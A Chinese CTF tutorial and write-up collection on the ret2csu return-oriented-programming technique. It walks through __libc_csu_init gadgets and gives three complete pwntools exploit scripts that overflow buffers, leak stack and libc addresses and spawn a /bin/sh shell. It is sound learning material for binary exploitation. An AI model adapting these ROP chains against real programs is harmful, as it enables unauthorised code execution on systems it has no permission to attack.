關於學習ret2csu的總結


關於這個ret2csu,與其說它是一種題型,倒不如說這是一種方法(用於控制寄存器)

什么是ret2csu?

這個其實就是在程序中一般都會有一段萬能的控制參數的gadgets,里面可以控制rbx,rbp,r12,r13,r14,r15以及rdx,rsi,edi的值,並且還可以call我們指定的地址。然后劫持程序執行流的時候,劫持到這個__libc_csu_init函數去執行(這個函數是用來初始化libc的,因此只要是動態鏈接的程序就都會有這個函數(至少我還沒有遇見過特殊情況)),從而達到控制參數的目的

下面是__libc_csu_init的匯編代碼。

text:0000000000400540                 public __libc_csu_init
.text:0000000000400540 __libc_csu_init proc near               ; DATA XREF: _start+16↑o
.text:0000000000400540 ; __unwind {
.text:0000000000400540                 push    r15
.text:0000000000400542                 push    r14
.text:0000000000400544                 mov     r15d, edi
.text:0000000000400547                 push    r13
.text:0000000000400549                 push    r12
.text:000000000040054B                 lea     r12, __frame_dummy_init_array_entry
.text:0000000000400552                 push    rbp
.text:0000000000400553                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:000000000040055A                 push    rbx
.text:000000000040055B                 mov     r14, rsi
.text:000000000040055E                 mov     r13, rdx
.text:0000000000400561                 sub     rbp, r12
.text:0000000000400564                 sub     rsp, 8
.text:0000000000400568                 sar     rbp, 3
.text:000000000040056C                 call    _init_proc
.text:0000000000400571                 test    rbp, rbp
.text:0000000000400574                 jz      short loc_400596
.text:0000000000400576                 xor     ebx, ebx
.text:0000000000400578                 nop     dword ptr [rax+rax+00000000h]
.text:0000000000400580
.text:0000000000400580 loc_400580:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400580                 mov     rdx, r13
.text:0000000000400583                 mov     rsi, r14
.text:0000000000400586                 mov     edi, r15d
.text:0000000000400589                 call    qword ptr [r12+rbx*8]
.text:000000000040058D                 add     rbx, 1
.text:0000000000400591                 cmp     rbx, rbp
.text:0000000000400594                 jnz     short loc_400580
.text:0000000000400596
.text:0000000000400596 loc_400596:                             ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400596                 add     rsp, 8
.text:000000000040059A                 pop     rbx
.text:000000000040059B                 pop     rbp
.text:000000000040059C                 pop     r12
.text:000000000040059E                 pop     r13
.text:00000000004005A0                 pop     r14
.text:00000000004005A2                 pop     r15
.text:00000000004005A4                 retn
.text:00000000004005A4 ; } // starts at 400540
.text:00000000004005A4 __libc_csu_init endp

如何利用csu這部分代碼?

我們利用的其實就是這兩部分的代碼,我們給這兩段起個名字,上面的部分叫gadget2,下面的部分叫gadget1(因為我們先執行下面的部分,因此就叫下面的gadget1吧)

假設我們現在通過溢出,已經可以控制程序的執行流了,我們此時就把返回地址填寫成gadget1的地址0x40059A(因為我們並不需要add rsp,8這個指令,因此直接從0x40059A開始即可)

現在就會把棧中的前6個數據分別彈給rbx,rbp,r12,r13,r14,r15這六個寄存器。

我們通常會把rbx的值設置成0,而rbp設置成1.這樣的目的是在執行call qword ptr [r12+rbx*8]這個指令的時候,我們僅僅把r12的值給設置成指向我們想call地址的地址即可,從而不用管rbx。

又因為這三個指令add rbx,;cmp rbx, rbp;jnz short loc_400580,jnz是不相等時跳轉,我們通常並不想跳轉到0x400580這個地方,因為此刻執行這三個指令的時候,我們就是從0x400580這個地址過來的。因此rbx加一之后,我們要讓它和rbp相等,因此rbp就要提前被設置成1.

然后r12要存放的就是指向(我們要跳轉到那個地址)的地址。這里有個很重要的小技巧,如果你不想使用這個call,或者說你想call一個函數,但是你拿不到它的got地址,因此沒法使用這個call,那就去call一個空函數(_term_proc函數)(並且要注意的是,r12的地址填寫的並不是_term_proc的地址,而是指向這個函數的地址)。

然后r13,r14,r15這三個值分別對應了rdx,rsi,edi。這里要注意的是,r15最后傳給的是edi,最后rdi的高四字節都是00,而低四字節才是r15里的內容。(也就是說如果想用ret2csu去把rdi里存放成一個地址是不可行的)

接着到了gadget1的結尾ret這里,然后我們緊接着寫入gadget2的地址0x400580。

此時開始執行這部分代碼,這沒什么好說的了,就是把r13,r14,r15的值放入rdx,rsi,edi三個寄存器里面。

然后由於我們前面的rbx是0,加一之后等於了rbp,因此jnz不跳轉。那就繼續向下執行,如果我們上面call了一個空函數的話,那我們就利用下面的ret。由於繼續向下執行,因此又來到了gadget1這里。

如果不需要再一次控制參數的話,那我們此時把棧中的數據填充56(7*8你懂得)個垃圾數據即可。

如果我們還需要繼續控制參數的話,那就此時不填充垃圾數據,繼續去控制參數,總之不管干啥呢,這里都要湊齊56字節的數據,以便我們執行最后的ret,最后ret去執行我們想要執行的函數即可。

錯位獲取pop rsi;pop rdi

如果只是要單純控制pop rsi和pop rdi寄存器的話,可以不用ret2csu,直接搜的。因為pop r14和pop r15(這兩個gadget存在於__libc_csu_init)對應的機器碼分別為

(匯編如何看對應的機器碼,我在shellcode那一篇博客中已經講過了)可以發現pop rsi和pop rdi分別存在於pop r14和pop r15的機器碼中,因此我們可以利用錯位來得到他們。用Ropgadget直接搜pop rsi或是搜它的機器碼5e,就會出來錯位得到的地址。(方法如下)不過沒有辦法通過錯位來得到pop rdx。

實戰ret2csu

下面是我做過三道關於ret2csu的題目,附上WP

VNCTF2022公開賽clear_got

做這道題,必須先掌握下面這三個點。

1、首先是call指令后面的這個地址(如果是函數名就不說了),就比如現在ret2csu中,准備執行這個

我們讓rbx為0,此時call r12,那怎么才能call成功呢,原本看到師傅們說是要裝got地址,后來發現裝一個地址(這個地址是被另一個地址所指向的),然后把r12填寫成另一個地址,也可以call成功,再回想一下為什么要裝got地址,而不是plt地址,原因也是出現在了got地址僅僅會跳轉一次,也就是說填一個got地址,也是會從這個地址去跳到got地址所指向的地址(也就是真實地址(因為延遲綁定的原因,如果不清楚的話,這里請自行百度一下延遲綁定機制)),因此結論就出來了,要想去call去跳轉到一個地址A,那就必須用一個指向地址A的地址B放到call后面。

2、如果我們僅僅是想利用ret2csu去控制參數,而並不想去用call執行,或者說是你想用call執行跳轉,但是你找不到去指向你想跳轉的那個地址,因此我們用最后的ret跳轉(你想跳轉到哪里,就填哪的地址即可)。那怎么把call的那一步忽略呢?我們可以call一個空函數(不需要參數,執行之后也不會對程序本身造成任何影響的函數),這個函數就是_term_proc(注意,這里call的是指向_term_proc的地址,而非term_proc的地址

3、怎么去修改rax的值?

這里提到了一種很巧妙的方法。我們先來看一下read函數和write函數的返回值。

圖片出自(25條消息) read的返回值賣保險的碼農的博客-CSDN博客read函數返回值

read和write函數 - 故事, - 博客園 (cnblogs.com)

我們可以看出來read函數和write函數最后的返回值都是實際讀到和寫入的字節數(如果執行成功的話),而返回值最后就會放到rax里面。也就是說可以利用read和write去控制我們想要的rax。(為啥要控制rax?淦,你只要知道這個控制rax的方法就行了,需要的時候就能用到,就比如這道題)

掌握上述三點之后,就可以來做題了。

發現主函數很簡單,buf也是存在溢出,意味着我們可以控制返回地址。

沒有發現后門函數和參數,但是發現有兩個系統調用,這里很可疑,留意一下。

這道題的困難點其實在這里

Memset清空了0x601008往下面的0x38個字節的內容,我們看一下0x601008是什么

發現居然是got表,got表被清空了意味着什么,1、我們之前已經完成延遲綁定的函數的真實地址已經不在got表了。2、最開始(執行延遲綁定之前)got表原本跳往extern的地址,變成了0。

也就是說執行了這個memset之后,我們在got表中的所有函數都沒法再被使用了。

但是我們能用的有什么?只剩下了系統調用,可是想用系統調用執行execve(‘/bin/sh’,0,0),我們需要做到三件事,第一是控制rax,第二是控制rdi,rsi,rdx這三個寄存器,第三是將/bin/sh寫入到bss段。

控制rax?,有沒有想到最開始提到的那個方法,利用read或者write去修改rax。由於我們還要寫入/bin/sh,因此我們這里采用系統調用read,可是read的系統調用號是0,而程序中出現的兩個系統調用沒有read,怎么辦?其實不用管的,因為main函數的返回值是0,在main函數的ret之前,就把rax的值給設成0了,因此我們溢出之后,始終rax都是0(在執行系統調用之前)。

既然現在可以系統調用read,那只需要控制參數,將/bin/sh寫入bss段即可,怎么控制參數?用Ropgadget搜索之后發現,沒有能控制rsi和rdx的寄存器,因此只能采用ret2csu的方法。

最后有兩點要注意

第一, 我們系統調用了一次輸入,在這次輸入里,必須填充到59個字節

第二, 由於第一次輸入最多只能輸入0x100個字節,因此我們是沒法隨心所欲構造gadgets的,要考慮長度限制,因為光垃圾數據都填充了0x68個字節。因此需要考慮兩點,第一點,我們兩次系統調用(第一次調用read第二次調用system),第二次如果再用ret去返回到系統調用,字節是超了的,因此我們第一次ret進行一下系統調用,然后再ret2csu,這一次在call的時候就要想辦法去系統調用,可是我們在這個程序里是找不到指向這個地址的地址。

因此我們這里要用一個巧法,在第一次輸入的時候,把syscall的這個地址也給寫到bss段,這樣bss段的地址就指向了syscall。第二點,還是考慮到字節數的問題,為了構造的payload字節更少,我們在ret2csu第二次執行下面的代碼的時候,就不填充成垃圾數據,直接填寫成第二次系統調用的參數(如果不這樣的話,payload太長了,沒法全部輸入進去)。

Exp如下:

#coding:utf-8
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux',log_level='debug')
p=process('./a')
e=ELF('./a')
pop_rdi_addr=0x4007f3
print('pid'+str(proc.pidof(p)))
offset=0x60
syscall_addr=0x40077E
write_addr=0x400773
csu_gadget1=0x4007EA
csu_gadget2=0x4007D0
term_proc=0x600e50
bss_addr=0x601060
payload=(offset+8)*'a'
payload+=p64(csu_gadget1)
payload+=p64(0) #rbx
payload+=p64(1)#rbp
payload+=p64(term_proc)#r12 空函數#第一次ret2csu的目的是傳read函數參數,並且在最后的ret去執行系統調用,第一次不需要用到call,因此call一個空函數
payload+=p64(59)#r13 rdx #執行一次syscall之后,rax就變成了0x3b
payload+=p64(bss_addr)#r14  #rsi  #將/bin/sh寫入bss段
payload+=p64(0)#r15  #rdi
payload+=p64(csu_gadget2)
payload+='a'*8#下面的48個數據不用垃圾填充,直接進行下一輪涉及參數,這8個垃圾數據填充的是add rsp,8
payload+=p64(0)
payload+=p64(1)
payload+=p64(bss_addr+0x8)#此時用call來執行輸入到bss段里的syscall
payload+=p64(0)
payload+=p64(0)
payload+=p64(bss_addr)
payload+=p64(syscall_addr)
payload+=p64(csu_gadget2)
p.sendafter('Welcome to VNCTF! This is a easy competition.///\n',payload)
payload='/bin/sh\x00'+p64(syscall_addr)+'\x00'.ljust(59,'\x00')#這里一定要湊齊59,使得read函數的返回值,也就是讓rax變成59
p.sendline(payload)
p.interactive()

BUUCTF上的ciscn_2019_es_7

發現程序流程就是兩個系統調用,一個是read,一個是write。

同時發現了這里改變了rax的值,改成了0x3b,也就系統調用execve函數。

發現只能控制rdi的值,而不能控制rsi,rdx的值

那思路就出來了。

我們利用ret2csu控制rsi和rdx參數,最后執行Mov rax,0x3b;syscall即可。

那只有一個問題了,也是這道題的難點,怎么把rdi存入參數的地址。

我最開始想的是執行一個ret2csu去把參數給寫進bss段,可是我們由於控制不了rax的值,就沒辦法系統調用號設置成0,。

那bss段寫不了,只能寫入程序給我們指定的地方了,可是這就意味着我們需要泄露棧中地址。以前只遇見過程序自己泄露一個棧的地址的,這道題也算是長見識了,見了一種新方法。

系統調用write的時候,

第三個參數是0x30,可是我們發現

Buf距離棧底僅僅有十個字節。因此write是可以打印出來棧中內容的。並且我們運行程序也可以發現是有端倪的。

不僅僅打印出來了我們輸入的東西,還打印出來了一些亂碼。

我們先簡單寫一個腳本

這個腳本就是發送一個1,但是可以看見我們接收的內容。

此時可以看見我們已經泄露出來了棧的內容。

我們用gdb看一下

泄露的內容是紅線的部分(當然由於只能泄露0x30個字節,我紅線圈多了,但是我想強調的是棧地址泄露,泄露的是內容,而非棧的地址)

不過我們發現了第一個和第三個泄露的棧中的內容是指向了棧的地址,這樣我們就可以用泄露的棧的內容配合偏移,來獲取棧的地址了。

經過調試發現,vul函數的返回地址就是此時棧頂的,我們是要劫持程序的執行流,因此第一個地址肯定是沒法泄露了,我們來泄露第三個棧的內容。然后把返回地址填寫成vul函數的首地址,讓程序再執行一次(去進行ret2csu)

拿到棧中第三個內容后,看一下它距離我們輸入的內容的首地址偏移是多少。

F088是泄露的地址,df70是輸入存儲的首地址(我打算把/bin/sh輸入到這個地方)

然后就沒什么了,偏移拿到之后,就可以寫exp了。

from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux',log_level='debug')
p=remote('node4.buuoj.cn',28000)
e=ELF('./a')
csu_gadget1=0x40059A
modify_rax=0x4004E2
csu_gadget2=0x400580
term_proc=0x600e50 #這個地址並不是term_proc的地址,而是指向term_proc的地址
bss_addr=0x601030
pop_rdi_addr=0x4005a3
syscall_addr=0x400517
read_syscall=0x4004ED
offset=16
payload='/bin/sh\x00'.ljust(16,'\x00')+p64(read_syscall)
p.send(payload)
p.recvuntil('\x05\x40\x00\x00\x00\x00\x00') #這個用來篩選一下我們要找的數據
leak_addr=u64(p.recv(8))
print(hex(leak_addr))
bin_sh_addr=leak_addr-280
print(hex(bin_sh_addr))
payload='/bin/sh\x00'.ljust(16,'\x00')+p64(csu_gadget1)
payload+=p64(0)+p64(1)
payload+=p64(term_proc)  #此時call一個空函數,我們用ret來劫持執行流
payload+=p64(0)+p64(0)+p64(0)#r13 r14 r15
payload+=p64(csu_gadget2)
payload+='a'*56
payload+=p64(modify_rax)
payload+=p64(pop_rdi_addr)+p64(bin_sh_addr) #把參數放到rdi里面
payload+=p64(syscall_addr)
p.send(payload)
p.interactive()

BUUCTF上的gyctf_2020_borrowstack

這道題,我已經在棧遷移的那篇博客中發過了,這篇里面我就展示一下WP吧,具體細節可以看一下棧遷移的那篇博客。

#coding:utf-8
from pwn import *
p=process('./a')
context(arch='amd64',os='linux',log_level='debug')
e=ELF('./a')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
puts_plt_addr=e.plt['puts']
puts_got_addr=e.got['puts']
read_plt_addr=e.got['read']#why got here 
#call函數為跳轉到某地址內所保存的地址,應該使用got表中的地址
pop_rdi_addr=0x400703
level_addr=0x400699
bss_addr=0x601080
ret_csu_addr=0x4006FA
rsi_addr=0x601118
payload1=0x60*'a'+p64(bss_addr+0x40)+p64(level_addr)#這里多加0x40的目的就是為了執行puts的時候,不影響之前的got表中的數據
p.sendafter('u want\n',payload1)
payload2='a'*0x40+p64(0)+p64(pop_rdi_addr)+p64(puts_got_addr)+p64(puts_plt_addr)
payload2+=p64(ret_csu_addr)+p64(0)+p64(0)+p64(read_plt_addr)+p64(0x100)
payload2+=p64(rsi_addr)+p64(0)+p64(0x4006E0)#why is there an address here
#這一個4006E0僅僅是ret2csu執行了pop之后的ret的返回的地址。
#至於怎么返回到one_gadget上的,是因為read的返回地址被read自己給改了
#payload2中的第一個p64(0)是去占個地方,因為棧遷移本身的特性,遷移后的第一個內存單元不執行
p.sendafter('k now!\n',payload2)
puts_addr=u64(p.recv(6).ljust(8,'\x00'))
libc_base=puts_addr-libc.symbols['puts']
one_gadget=libc_base+0x4f432
p.sendline(p64(one_gadget))#why p64 here #只要是發送地址 就要經過打包之后發送
p.interactive()


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM